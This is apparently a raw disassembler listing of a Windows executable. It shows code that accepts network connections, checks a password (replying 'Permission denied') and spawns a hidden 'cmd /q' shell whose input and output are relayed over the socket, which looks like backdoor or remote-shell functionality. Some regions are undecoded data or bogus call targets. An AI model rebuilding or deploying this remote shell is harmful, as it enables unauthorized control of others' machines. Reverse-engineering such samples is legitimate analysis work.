		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 1EE8h
		dd 900228F8h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 228F78Bh
		dd 0E890EDEBh, 229F761h, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		das
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 2710000h
		nop


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 2710000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 2710000h
		nop


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2710000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022FEBh, 4116CC68h, 0F6D0E800h,	8590023Ah
		dd 902975C0h, 29F1ACE8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22FEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0DEE85056h, 900228F0h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 4CE8326Ah, 900228F0h,	0E890EDEBh
		dd 229F021h, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 0E936E856h, 5B90022Fh,	4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26C05DFh


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27D0000h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26C05DFh
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2750975h


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2680B8Eh
		nop
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 26808BBh
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 27D00EEh
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
